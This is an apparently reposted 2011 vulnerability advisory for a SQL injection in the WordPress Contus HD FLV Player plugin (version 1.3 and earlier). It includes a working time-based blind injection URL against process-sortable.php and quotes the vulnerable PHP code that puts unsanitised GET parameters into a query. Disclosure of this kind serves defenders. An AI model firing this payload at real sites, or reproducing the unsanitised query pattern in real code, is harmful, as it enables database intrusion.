作者:奶爸集丶训营_502 | 来源:互联网 | 2023-07-20 07:48
标题:WordPressContusHDFLVPlayerplugin1.3SQLInjectionVulnerability时间:2011-08-17作者:MiroslavSta
标题: WordPress Contus HD FLV Player plugin <= 1.3 SQL Injection Vulnerability
时间: 2011-08-17
作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
下载地址: http://downloads.wordpress.org/plugin/contus-hd-flv-player.1.3.zip
测试版本: 1.3 (tested)
---
测试方法
---
http://www.2cto.com /wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000, MD5 (CHAR(115,113,108,109,97,112))),0)&listItem[]=1
---------------
Vulnerable code
---------------
$pid1 = $_GET[&#39;playid&#39;];
foreach ($_GET[&#39;listItem&#39;] as $position => $item) :
mysql _query("UPDATE $wpdb->prefix" . "hdflv_med2play SET `sorder` = $position WHERE `media_id` = $item and playlist_id=$pid1 ");
endforeach;
修复:
过滤